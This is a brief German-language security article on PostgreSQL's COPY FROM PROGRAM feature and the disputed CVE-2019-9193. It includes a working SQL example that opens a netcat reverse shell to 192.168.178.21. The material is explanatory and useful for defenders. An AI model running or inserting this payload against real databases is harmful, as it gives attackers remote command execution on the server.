PostgreSQL Command Execution
PostgreSQL Command Execution
In PostgreSQL steht den superusern sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funktion "COPY TO/FROM PROGRAM" zur Verfügung. Diese Funktion erlaubt es beliebigen Code im Kontext des Betriebssystembenutzers der Datenbank auszuführen. Die Funktion ist per default aktiviert und kann z.B. mit Hilfe von SQL Injection missbraucht werden um beliebige Befehle des Betriebssystems auszuführen (Postgres ist auf Windows, Linux sowie MacOS lauffähig).
Im Jahr 2019 wurde die Funktion als Schwachstelle gemeldet und bekam eine CVE Nummer (CVE-2019-9193).
Die Entwickler Postgres argumentieren hierzu, dass es sich dabei nicht um eine Schwachstelle handelt, da die Datenbank nie im Kontext eines Superuser läuft und es um nur um einen zusätzlichen Befehle innerhalb der bereits bestehenden Sicherheitsgrenzen des Betriebssystems handelt.
Beispiel
Ein Beispiel zum Ausnutzen dieser Funktion ist folgendes Beispiel. Hier wird eine Reverseshell mittels nc auf den Host 192.168.178.21 geöffnet.
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'nc 192.168.178.21 4242 -e /bin/bash';
SELECT * FROM cmd_exec;
Unter der CVE ist ebenfalls ein Metasploit Modul zu finden, welche in der Lage ist die Funktion auszunutzen.
Quellen
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9193
https://meterpreter.org/cve-2019-9193-postgresql-arbitrary-code-execution/
https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/